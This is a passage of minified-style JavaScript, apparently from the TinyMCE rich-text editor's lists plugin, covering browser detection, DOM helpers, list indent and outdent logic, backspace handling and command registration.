/.*?version\/\ ?([0-9]+)\.([0-9]+).*/; var checkContains = function (target) { return function (uastring) { return contains(uastring, target); }; }; var browsers = [ { name: 'Edge', versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/], search: function (uastring) { return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit'); } }, { name: 'Chrome', versionRegexes: [ /.*?chrome\/([0-9]+)\.([0-9]+).*/, normalVersionRegex ], search: function (uastring) { return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe'); } }, { name: 'IE', versionRegexes: [ /.*?msie\ ?([0-9]+)\.([0-9]+).*/, /.*?rv:([0-9]+)\.([0-9]+).*/ ], search: function (uastring) { return contains(uastring, 'msie') || contains(uastring, 'trident'); } }, { name: 'Opera', versionRegexes: [ normalVersionRegex, /.*?opera\/([0-9]+)\.([0-9]+).*/ ], search: checkContains('opera') }, { name: 'Firefox', versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/], search: checkContains('firefox') }, { name: 'Safari', versionRegexes: [ normalVersionRegex, /.*?cpu os ([0-9]+)_([0-9]+).*/ ], search: function (uastring) { return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit'); } } ]; var oses = [ { name: 'Windows', search: checkContains('win'), versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'iOS', search: function (uastring) { return contains(uastring, 'iphone') || contains(uastring, 'ipad'); }, versionRegexes: [ /.*?version\/\ ?([0-9]+)\.([0-9]+).*/, /.*cpu os ([0-9]+)_([0-9]+).*/, /.*cpu iphone os ([0-9]+)_([0-9]+).*/ ] }, { name: 'Android', search: checkContains('android'), versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'OSX', search: checkContains('os x'), versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/] }, { name: 'Linux', search: checkContains('linux'), versionRegexes: [] }, { name: 'Solaris', search: checkContains('sunos'), versionRegexes: [] }, { name: 'FreeBSD', search: checkContains('freebsd'), versionRegexes: [] } ]; var PlatformInfo = { browsers: constant(browsers), oses: constant(oses) }; var detect$2 = function (userAgent) { var browsers = PlatformInfo.browsers(); var oses = PlatformInfo.oses(); var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu); var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu); var deviceType = DeviceType(os, browser, userAgent); return { browser: browser, os: os, deviceType: deviceType }; }; var PlatformDetection = { detect: detect$2 }; var detect$3 = cached(function () { var userAgent = domGlobals.navigator.userAgent; return PlatformDetection.detect(userAgent); }); var PlatformDetection$1 = { detect: detect$3 }; var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE; var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE; var COMMENT = domGlobals.Node.COMMENT_NODE; var DOCUMENT = domGlobals.Node.DOCUMENT_NODE; var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE; var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE; var ELEMENT = domGlobals.Node.ELEMENT_NODE; var TEXT = domGlobals.Node.TEXT_NODE; var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE; var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE; var ENTITY = domGlobals.Node.ENTITY_NODE; var NOTATION = domGlobals.Node.NOTATION_NODE; var ELEMENT$1 = ELEMENT; var is = function (element, selector) { var dom = element.dom(); if (dom.nodeType !== ELEMENT$1) { return false; } else { var elem = dom; if (elem.matches !== undefined) { return elem.matches(selector); } else if (elem.msMatchesSelector !== undefined) { return elem.msMatchesSelector(selector); } else if (elem.webkitMatchesSelector !== undefined) { return elem.webkitMatchesSelector(selector); } else if (elem.mozMatchesSelector !== undefined) { return elem.mozMatchesSelector(selector); } else { throw new Error('Browser lacks native selectors'); } } }; var eq = function (e1, e2) { return e1.dom() === e2.dom(); }; var regularContains = function (e1, e2) { var d1 = e1.dom(); var d2 = e2.dom(); return d1 === d2 ? false : d1.contains(d2); }; var ieContains = function (e1, e2) { return Node.documentPositionContainedBy(e1.dom(), e2.dom()); }; var browser = PlatformDetection$1.detect().browser; var contains$1 = browser.isIE() ? ieContains : regularContains; var is$1 = is; var parent = function (element) { return Option.from(element.dom().parentNode).map(Element.fromDom); }; var children = function (element) { return map(element.dom().childNodes, Element.fromDom); }; var child = function (element, index) { var cs = element.dom().childNodes; return Option.from(cs[index]).map(Element.fromDom); }; var firstChild = function (element) { return child(element, 0); }; var lastChild = function (element) { return child(element, element.dom().childNodes.length - 1); }; var spot = Immutable('element', 'offset'); var before = function (marker, element) { var parent$1 = parent(marker); parent$1.each(function (v) { v.dom().insertBefore(element.dom(), marker.dom()); }); }; var append = function (parent, element) { parent.dom().appendChild(element.dom()); }; var before$1 = function (marker, elements) { each(elements, function (x) { before(marker, x); }); }; var append$1 = function (parent, elements) { each(elements, function (x) { append(parent, x); }); }; var remove = function (element) { var dom = element.dom(); if (dom.parentNode !== null) { dom.parentNode.removeChild(dom); } }; var name = function (element) { var r = element.dom().nodeName; return r.toLowerCase(); }; var type = function (element) { return element.dom().nodeType; }; var isType$1 = function (t) { return function (element) { return type(element) === t; }; }; var isElement = isType$1(ELEMENT); var rawSet = function (dom, key, value) { if (isString(value) || isBoolean(value) || isNumber(value)) { dom.setAttribute(key, value + ''); } else { domGlobals.console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom); throw new Error('Attribute value was not simple'); } }; var setAll = function (element, attrs) { var dom = element.dom(); each$1(attrs, function (v, k) { rawSet(dom, k, v); }); }; var clone = function (element) { return foldl(element.dom().attributes, function (acc, attr) { acc[attr.name] = attr.value; return acc; }, {}); }; var isSupported = function (dom) { return dom.style !== undefined && isFunction(dom.style.getPropertyValue); }; var internalSet = function (dom, property, value) { if (!isString(value)) { domGlobals.console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom); throw new Error('CSS value must be a string: ' + value); } if (isSupported(dom)) { dom.style.setProperty(property, value); } }; var set = function (element, property, value) { var dom = element.dom(); internalSet(dom, property, value); }; var clone$1 = function (original, isDeep) { return Element.fromDom(original.dom().cloneNode(isDeep)); }; var deep = function (original) { return clone$1(original, true); }; var shallowAs = function (original, tag) { var nu = Element.fromTag(tag); var attributes = clone(original); setAll(nu, attributes); return nu; }; var mutate = function (original, tag) { var nu = shallowAs(original, tag); before(original, nu); var children$1 = children(original); append$1(nu, children$1); remove(original); return nu; }; var joinSegment = function (parent, child) { append(parent.item, child.list); }; var joinSegments = function (segments) { for (var i = 1; i < segments.length; i++) { joinSegment(segments[i - 1], segments[i]); } }; var appendSegments = function (head$1, tail) { lift2(last(head$1), head(tail), joinSegment); }; var createSegment = function (scope, listType) { var segment = { list: Element.fromTag(listType, scope), item: Element.fromTag('li', scope) }; append(segment.list, segment.item); return segment; }; var createSegments = function (scope, entry, size) { var segments = []; for (var i = 0; i < size; i++) { segments.push(createSegment(scope, entry.listType)); } return segments; }; var populateSegments = function (segments, entry) { for (var i = 0; i < segments.length - 1; i++) { set(segments[i].item, 'list-style-type', 'none'); } last(segments).each(function (segment) { setAll(segment.list, entry.listAttributes); setAll(segment.item, entry.itemAttributes); append$1(segment.item, entry.content); }); }; var normalizeSegment = function (segment, entry) { if (name(segment.list) !== entry.listType) { segment.list = mutate(segment.list, entry.listType); } setAll(segment.list, entry.listAttributes); }; var createItem = function (scope, attr, content) { var item = Element.fromTag('li', scope); setAll(item, attr); append$1(item, content); return item; }; var appendItem = function (segment, item) { append(segment.list, item); segment.item = item; }; var writeShallow = function (scope, cast, entry) { var newCast = cast.slice(0, entry.depth); last(newCast).each(function (segment) { var item = createItem(scope, entry.itemAttributes, entry.content); appendItem(segment, item); normalizeSegment(segment, entry); }); return newCast; }; var writeDeep = function (scope, cast, entry) { var segments = createSegments(scope, entry, entry.depth - cast.length); joinSegments(segments); populateSegments(segments, entry); appendSegments(cast, segments); return cast.concat(segments); }; var composeList = function (scope, entries) { var cast = foldl(entries, function (cast, entry) { return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry); }, []); return head(cast).map(function (segment) { return segment.list; }); }; var isList$1 = function (el) { return is$1(el, 'OL,UL'); }; var hasFirstChildList = function (el) { return firstChild(el).map(isList$1).getOr(false); }; var hasLastChildList = function (el) { return lastChild(el).map(isList$1).getOr(false); }; var isIndented = function (entry) { return entry.depth > 0; }; var isSelected = function (entry) { return entry.isSelected; }; var cloneItemContent = function (li) { var children$1 = children(li); var content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1; return map(content, deep); }; var createEntry = function (li, depth, isSelected) { return parent(li).filter(isElement).map(function (list) { return { depth: depth, isSelected: isSelected, content: cloneItemContent(li), itemAttributes: clone(li), listAttributes: clone(list), listType: name(list) }; }); }; var indentEntry = function (indentation, entry) { switch (indentation) { case 'Indent': entry.depth++; break; case 'Outdent': entry.depth--; break; case 'Flatten': entry.depth = 0; } }; var hasOwnProperty = Object.prototype.hasOwnProperty; var shallow = function (old, nu) { return nu; }; var baseMerge = function (merger) { return function () { var objects = new Array(arguments.length); for (var i = 0; i < objects.length; i++) { objects[i] = arguments[i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (hasOwnProperty.call(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var merge = baseMerge(shallow); var cloneListProperties = function (target, source) { target.listType = source.listType; target.listAttributes = merge({}, source.listAttributes); }; var previousSiblingEntry = function (entries, start) { var depth = entries[start].depth; for (var i = start - 1; i >= 0; i--) { if (entries[i].depth === depth) { return Option.some(entries[i]); } if (entries[i].depth < depth) { break; } } return Option.none(); }; var normalizeEntries = function (entries) { each(entries, function (entry, i) { previousSiblingEntry(entries, i).each(function (matchingEntry) { cloneListProperties(entry, matchingEntry); }); }); }; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var parseItem = function (depth, itemSelection, selectionState, item) { return firstChild(item).filter(isList$1).fold(function () { itemSelection.each(function (selection) { if (eq(selection.start, item)) { selectionState.set(true); } }); var currentItemEntry = createEntry(item, depth, selectionState.get()); itemSelection.each(function (selection) { if (eq(selection.end, item)) { selectionState.set(false); } }); var childListEntries = lastChild(item).filter(isList$1).map(function (list) { return parseList(depth, itemSelection, selectionState, list); }).getOr([]); return currentItemEntry.toArray().concat(childListEntries); }, function (list) { return parseList(depth, itemSelection, selectionState, list); }); }; var parseList = function (depth, itemSelection, selectionState, list) { return bind(children(list), function (element) { var parser = isList$1(element) ? parseList : parseItem; var newDepth = depth + 1; return parser(newDepth, itemSelection, selectionState, element); }); }; var parseLists = function (lists, itemSelection) { var selectionState = Cell(false); var initialDepth = 0; return map(lists, function (list) { return { sourceList: list, entries: parseList(initialDepth, itemSelection, selectionState, list) }; }); }; var global$8 = tinymce.util.Tools.resolve('tinymce.Env'); var createTextBlock = function (editor, contentNode) { var dom = editor.dom; var blockElements = editor.schema.getBlockElements(); var fragment = dom.createFragment(); var node, textBlock, blockName, hasContentNode; if (editor.settings.forced_root_block) { blockName = editor.settings.forced_root_block; } if (blockName) { textBlock = dom.create(blockName); if (textBlock.tagName === editor.settings.forced_root_block) { dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs); } if (!NodeType.isBlock(contentNode.firstChild, blockElements)) { fragment.appendChild(textBlock); } } if (contentNode) { while (node = contentNode.firstChild) { var nodeName = node.nodeName; if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) { hasContentNode = true; } if (NodeType.isBlock(node, blockElements)) { fragment.appendChild(node); textBlock = null; } else { if (blockName) { if (!textBlock) { textBlock = dom.create(blockName); fragment.appendChild(textBlock); } textBlock.appendChild(node); } else { fragment.appendChild(node); } } } } if (!editor.settings.forced_root_block) { fragment.appendChild(dom.create('br')); } else { if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) { textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' })); } } return fragment; }; var outdentedComposer = function (editor, entries) { return map(entries, function (entry) { var content = fromElements(entry.content); return Element.fromDom(createTextBlock(editor, content.dom())); }); }; var indentedComposer = function (editor, entries) { normalizeEntries(entries); return composeList(editor.contentDocument, entries).toArray(); }; var composeEntries = function (editor, entries) { return bind(groupBy(entries, isIndented), function (entries) { var groupIsIndented = head(entries).map(isIndented).getOr(false); return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries); }); }; var indentSelectedEntries = function (entries, indentation) { each(filter(entries, isSelected), function (entry) { return indentEntry(indentation, entry); }); }; var getItemSelection = function (editor) { var selectedListItems = map(Selection.getSelectedListItems(editor), Element.fromDom); return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), function (start, end) { return { start: start, end: end }; }); }; var listsIndentation = function (editor, lists, indentation) { var entrySets = parseLists(lists, getItemSelection(editor)); each(entrySets, function (entrySet) { indentSelectedEntries(entrySet.entries, indentation); before$1(entrySet.sourceList, composeEntries(editor, entrySet.entries)); remove(entrySet.sourceList); }); }; var DOM$1 = global$6.DOM; var splitList = function (editor, ul, li) { var tmpRng, fragment, bookmarks, node, newBlock; var removeAndKeepBookmarks = function (targetNode) { global$5.each(bookmarks, function (node) { targetNode.parentNode.insertBefore(node, li.parentNode); }); DOM$1.remove(targetNode); }; bookmarks = DOM$1.select('span[data-mce-type="bookmark"]', ul); newBlock = createTextBlock(editor, li); tmpRng = DOM$1.createRng(); tmpRng.setStartAfter(li); tmpRng.setEndAfter(ul); fragment = tmpRng.extractContents(); for (node = fragment.firstChild; node; node = node.firstChild) { if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) { DOM$1.remove(node); break; } } if (!editor.dom.isEmpty(fragment)) { DOM$1.insertAfter(fragment, ul); } DOM$1.insertAfter(newBlock, ul); if (NodeType.isEmpty(editor.dom, li.parentNode)) { removeAndKeepBookmarks(li.parentNode); } DOM$1.remove(li); if (NodeType.isEmpty(editor.dom, ul)) { DOM$1.remove(ul); } }; var SplitList = { splitList: splitList }; var outdentDlItem = function (editor, item) { if (is$1(item, 'dd')) { mutate(item, 'dt'); } else if (is$1(item, 'dt')) { parent(item).each(function (dl) { return SplitList.splitList(editor, dl.dom(), item.dom()); }); } }; var indentDlItem = function (item) { if (is$1(item, 'dt')) { mutate(item, 'dd'); } }; var dlIndentation = function (editor, indentation, dlItems) { if (indentation === 'Indent') { each(dlItems, indentDlItem); } else { each(dlItems, function (item) { return outdentDlItem(editor, item); }); } }; var selectionIndentation = function (editor, indentation) { var lists = map(Selection.getSelectedListRoots(editor), Element.fromDom); var dlItems = map(Selection.getSelectedDlItems(editor), Element.fromDom); var isHandled = false; if (lists.length || dlItems.length) { var bookmark = editor.selection.getBookmark(); listsIndentation(editor, lists, indentation); dlIndentation(editor, indentation, dlItems); editor.selection.moveToBookmark(bookmark); editor.selection.setRng(Range.normalizeRange(editor.selection.getRng())); editor.nodeChanged(); isHandled = true; } return isHandled; }; var indentListSelection = function (editor) { return selectionIndentation(editor, 'Indent'); }; var outdentListSelection = function (editor) { return selectionIndentation(editor, 'Outdent'); }; var flattenListSelection = function (editor) { return selectionIndentation(editor, 'Flatten'); }; var updateListStyle = function (dom, el, detail) { var type = detail['list-style-type'] ? detail['list-style-type'] : null; dom.setStyle(el, 'list-style-type', type); }; var setAttribs = function (elm, attrs) { global$5.each(attrs, function (value, key) { elm.setAttribute(key, value); }); }; var updateListAttrs = function (dom, el, detail) { setAttribs(el, detail['list-attributes']); global$5.each(dom.select('li', el), function (li) { setAttribs(li, detail['list-item-attributes']); }); }; var updateListWithDetails = function (dom, el, detail) { updateListStyle(dom, el, detail); updateListAttrs(dom, el, detail); }; var removeStyles = function (dom, element, styles) { global$5.each(styles, function (style) { var _a; return dom.setStyle(element, (_a = {}, _a[style] = '', _a)); }); }; var getEndPointNode = function (editor, rng, start, root) { var container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container; } if (!start && NodeType.isBr(container.nextSibling)) { container = container.nextSibling; } while (container.parentNode !== root) { if (NodeType.isTextBlock(editor, container)) { return container; } if (/^(TD|TH)$/.test(container.parentNode.nodeName)) { return container; } container = container.parentNode; } return container; }; var getSelectedTextBlocks = function (editor, rng, root) { var textBlocks = [], dom = editor.dom; var startNode = getEndPointNode(editor, rng, true, root); var endNode = getEndPointNode(editor, rng, false, root); var block; var siblings = []; for (var node = startNode; node; node = node.nextSibling) { siblings.push(node); if (node === endNode) { break; } } global$5.each(siblings, function (node) { if (NodeType.isTextBlock(editor, node)) { textBlocks.push(node); block = null; return; } if (dom.isBlock(node) || NodeType.isBr(node)) { if (NodeType.isBr(node)) { dom.remove(node); } block = null; return; } var nextSibling = node.nextSibling; if (global$4.isBookmarkNode(node)) { if (NodeType.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) { block = null; return; } } if (!block) { block = dom.create('p'); node.parentNode.insertBefore(block, node); textBlocks.push(block); } block.appendChild(node); }); return textBlocks; }; var hasCompatibleStyle = function (dom, sib, detail) { var sibStyle = dom.getStyle(sib, 'list-style-type'); var detailStyle = detail ? detail['list-style-type'] : ''; detailStyle = detailStyle === null ? '' : detailStyle; return sibStyle === detailStyle; }; var applyList = function (editor, listName, detail) { if (detail === void 0) { detail = {}; } var rng = editor.selection.getRng(true); var bookmark; var listItemName = 'LI'; var root = Selection.getClosestListRootElm(editor, editor.selection.getStart(true)); var dom = editor.dom; if (dom.getContentEditable(editor.selection.getNode()) === 'false') { return; } listName = listName.toUpperCase(); if (listName === 'DL') { listItemName = 'DT'; } bookmark = Bookmark.createBookmark(rng); global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) { var listBlock, sibling; sibling = block.previousSibling; if (sibling && NodeType.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) { listBlock = sibling; block = dom.rename(block, listItemName); sibling.appendChild(block); } else { listBlock = dom.create(listName); block.parentNode.insertBefore(listBlock, block); listBlock.appendChild(block); block = dom.rename(block, listItemName); } removeStyles(dom, block, [ 'margin', 'margin-right', 'margin-bottom', 'margin-left', 'margin-top', 'padding', 'padding-right', 'padding-bottom', 'padding-left', 'padding-top' ]); updateListWithDetails(dom, listBlock, detail); mergeWithAdjacentLists(editor.dom, listBlock); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); }; var isValidLists = function (list1, list2) { return list1 && list2 && NodeType.isListNode(list1) && list1.nodeName === list2.nodeName; }; var hasSameListStyle = function (dom, list1, list2) { var targetStyle = dom.getStyle(list1, 'list-style-type', true); var style = dom.getStyle(list2, 'list-style-type', true); return targetStyle === style; }; var hasSameClasses = function (elm1, elm2) { return elm1.className === elm2.className; }; var shouldMerge = function (dom, list1, list2) { return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2); }; var mergeWithAdjacentLists = function (dom, listBlock) { var sibling, node; sibling = listBlock.nextSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.firstChild) { listBlock.appendChild(node); } dom.remove(sibling); } sibling = listBlock.previousSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.lastChild) { listBlock.insertBefore(node, listBlock.firstChild); } dom.remove(sibling); } }; var updateList = function (dom, list, listName, detail) { if (list.nodeName !== listName) { var newList = dom.rename(list, listName); updateListWithDetails(dom, newList, detail); } else { updateListWithDetails(dom, list, detail); } }; var toggleMultipleLists = function (editor, parentList, lists, listName, detail) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); global$5.each([parentList].concat(lists), function (elm) { updateList(editor.dom, elm, listName, detail); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var hasListStyleDetail = function (detail) { return 'list-style-type' in detail; }; var toggleSingleList = function (editor, parentList, listName, detail) { if (parentList === editor.getBody()) { return; } if (parentList) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); updateListWithDetails(editor.dom, parentList, detail); mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName)); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } } else { applyList(editor, listName, detail); } }; var toggleList = function (editor, listName, detail) { var parentList = Selection.getParentList(editor); var selectedSubLists = Selection.getSelectedSubLists(editor); detail = detail ? detail : {}; if (parentList && selectedSubLists.length > 0) { toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail); } else { toggleSingleList(editor, parentList, listName, detail); } }; var ToggleList = { toggleList: toggleList, mergeWithAdjacentLists: mergeWithAdjacentLists }; var DOM$2 = global$6.DOM; var normalizeList = function (dom, ul) { var sibling; var parentNode = ul.parentNode; if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); if (NodeType.isEmpty(dom, parentNode)) { DOM$2.remove(parentNode); } } else { DOM$2.setStyle(parentNode, 'listStyleType', 'none'); } } if (NodeType.isListNode(parentNode)) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); } } }; var normalizeLists = function (dom, element) { global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) { normalizeList(dom, ul); }); }; var NormalizeLists = { normalizeList: normalizeList, normalizeLists: normalizeLists }; var findNextCaretContainer = function (editor, rng, isForward, root) { var node = rng.startContainer; var offset = rng.startOffset; var nonEmptyBlocks, walker; if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) { return node; } nonEmptyBlocks = editor.schema.getNonEmptyElements(); if (node.nodeType === 1) { node = global$1.getNode(node, offset); } walker = new global$2(node, root); if (isForward) { if (NodeType.isBogusBr(editor.dom, node)) { walker.next(); } } while (node = walker[isForward ? 'next' : 'prev2']()) { if (node.nodeName === 'LI' && !node.hasChildNodes()) { return node; } if (nonEmptyBlocks[node.nodeName]) { return node; } if (node.nodeType === 3 && node.data.length > 0) { return node; } } }; var hasOnlyOneBlockChild = function (dom, elm) { var childNodes = elm.childNodes; return childNodes.length === 1 && !NodeType.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]); }; var unwrapSingleBlockChild = function (dom, elm) { if (hasOnlyOneBlockChild(dom, elm)) { dom.remove(elm.firstChild, true); } }; var moveChildren = function (dom, fromElm, toElm) { var node, targetElm; targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm; unwrapSingleBlockChild(dom, fromElm); if (!NodeType.isEmpty(dom, fromElm, true)) { while (node = fromElm.firstChild) { targetElm.appendChild(node); } } }; var mergeLiElements = function (dom, fromElm, toElm) { var node, listNode; var ul = fromElm.parentNode; if (!NodeType.isChildOfBody(dom, fromElm) || !NodeType.isChildOfBody(dom, toElm)) { return; } if (NodeType.isListNode(toElm.lastChild)) { listNode = toElm.lastChild; } if (ul === toElm.lastChild) { if (NodeType.isBr(ul.previousSibling)) { dom.remove(ul.previousSibling); } } node = toElm.lastChild; if (node && NodeType.isBr(node) && fromElm.hasChildNodes()) { dom.remove(node); } if (NodeType.isEmpty(dom, toElm, true)) { dom.$(toElm).empty(); } moveChildren(dom, fromElm, toElm); if (listNode) { toElm.appendChild(listNode); } var contains = contains$1(Element.fromDom(toElm), Element.fromDom(fromElm)); var nestedLists = contains ? dom.getParents(fromElm, NodeType.isListNode, toElm) : []; dom.remove(fromElm); each(nestedLists, function (list) { if (NodeType.isEmpty(dom, list) && list !== dom.getRoot()) { dom.remove(list); } }); }; var mergeIntoEmptyLi = function (editor, fromLi, toLi) { editor.dom.$(toLi).empty(); mergeLiElements(editor.dom, fromLi, toLi); editor.selection.setCursorLocation(toLi); }; var mergeForward = function (editor, rng, fromLi, toLi) { var dom = editor.dom; if (dom.isEmpty(toLi)) { mergeIntoEmptyLi(editor, fromLi, toLi); } else { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(dom, fromLi, toLi); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var mergeBackward = function (editor, rng, fromLi, toLi) { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(editor.dom, fromLi, toLi); var resolvedBookmark = Bookmark.resolveBookmark(bookmark); editor.selection.setRng(resolvedBookmark); }; var backspaceDeleteFromListToListCaret = function (editor, isForward) { var dom = editor.dom, selection = editor.selection; var selectionStartElm = selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var li = dom.getParent(selection.getStart(), 'LI', root); var ul, rng, otherLi; if (li) { ul = li.parentNode; if (ul === editor.getBody() && NodeType.isEmpty(dom, ul)) { return true; } rng = Range.normalizeRange(selection.getRng(true)); otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi && otherLi !== li) { if (isForward) { mergeForward(editor, rng, otherLi, li); } else { mergeBackward(editor, rng, li, otherLi); } return true; } else if (!otherLi) { if (!isForward) { flattenListSelection(editor); return true; } } } return false; }; var removeBlock = function (dom, block, root) { var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root); dom.remove(block); if (parentBlock && dom.isEmpty(parentBlock)) { dom.remove(parentBlock); } }; var backspaceDeleteIntoListCaret = function (editor, isForward) { var dom = editor.dom; var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var block = dom.getParent(selectionStartElm, dom.isBlock, root); if (block && dom.isEmpty(block)) { var rng = Range.normalizeRange(editor.selection.getRng(true)); var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi_1) { editor.undoManager.transact(function () { removeBlock(dom, block, root); ToggleList.mergeWithAdjacentLists(dom, otherLi_1.parentNode); editor.selection.select(otherLi_1, true); editor.selection.collapse(isForward); }); return true; } } return false; }; var backspaceDeleteCaret = function (editor, isForward) { return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward); }; var backspaceDeleteRange = function (editor) { var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root); if (startListParent || Selection.getSelectedListItems(editor).length > 0) { editor.undoManager.transact(function () { editor.execCommand('Delete'); NormalizeLists.normalizeLists(editor.dom, editor.getBody()); }); return true; } return false; }; var backspaceDelete = function (editor, isForward) { return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor); }; var setup = function (editor) { editor.on('keydown', function (e) { if (e.keyCode === global$3.BACKSPACE) { if (backspaceDelete(editor, false)) { e.preventDefault(); } } else if (e.keyCode === global$3.DELETE) { if (backspaceDelete(editor, true)) { e.preventDefault(); } } }); }; var Delete = { setup: setup, backspaceDelete: backspaceDelete }; var get = function (editor) { return { backspaceDelete: function (isForward) { Delete.backspaceDelete(editor, isForward); } }; }; var Api = { get: get }; var queryListCommandState = function (editor, listName) { return function () { var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL'); return parentList && parentList.nodeName === listName; }; }; var register = function (editor) { editor.on('BeforeExecCommand', function (e) { var cmd = e.command.toLowerCase(); if (cmd === 'indent') { indentListSelection(editor); } else if (cmd === 'outdent') { outdentListSelection(editor); } }); editor.addCommand('InsertUnorderedList', function (ui, detail) { ToggleList.toggleList(editor, 'UL', detail); }); editor.addCommand('InsertOrderedList', function (ui, detail) { ToggleList.toggleList(editor, 'OL', detail); }); editor.addCommand('InsertDefinitionList', function (ui, detail) { ToggleList.toggleList(editor, 'DL', detail); }); editor.addCommand('RemoveList', function () { flattenListSelection(editor); }); editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL')); editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL')); editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL')); }; var Commands = { register: register }; var shouldIndentOnTab = function (editor) { return editor.getParam('lists_indent_on_tab', true); }; var Settings = { shouldIndentOnTab: shouldIndentOnTab }; var setupTabKey = function (editor) { editor.on('keydown', function (e) { if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) { return; } editor.undoManager.transact(function () { if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) { e.preventDefault(); } }); }); }; var setup$1 = function (editor) { if (Settings.shouldIndentOnTab(editor)) { setupTabKey(editor); } Delete.setup(editor); }; var Keyboard = { setup: setup$1 }; var findIndex = function (list, predicate) { for (var index = 0; index < list.length; index++) { var element = list[index]; if (predicate(element)) { return index; } } return -1; }; var listState = function (editor, listName) { return function (e) { var ctrl = e.control; editor.on('NodeChange', function (e) { var tableCellIndex = findIndex(e.parents, NodeType.isTableCellNode); var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents; var lists = global$5.grep(parents, NodeType.isListNode); ctrl.active(lists.length > 0 && lists[0].nodeName === listName); }); }; }; var register$1 = function (editor) { var hasPlugin = function (editor, plugin) { var plugins = editor.settings.plugins ? editor.settings.plugins : ''; return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1; }; if (!hasPlugin(editor, 'advlist')) { editor.addButton('numlist', { active: false, title: 'Numbered list', cmd: 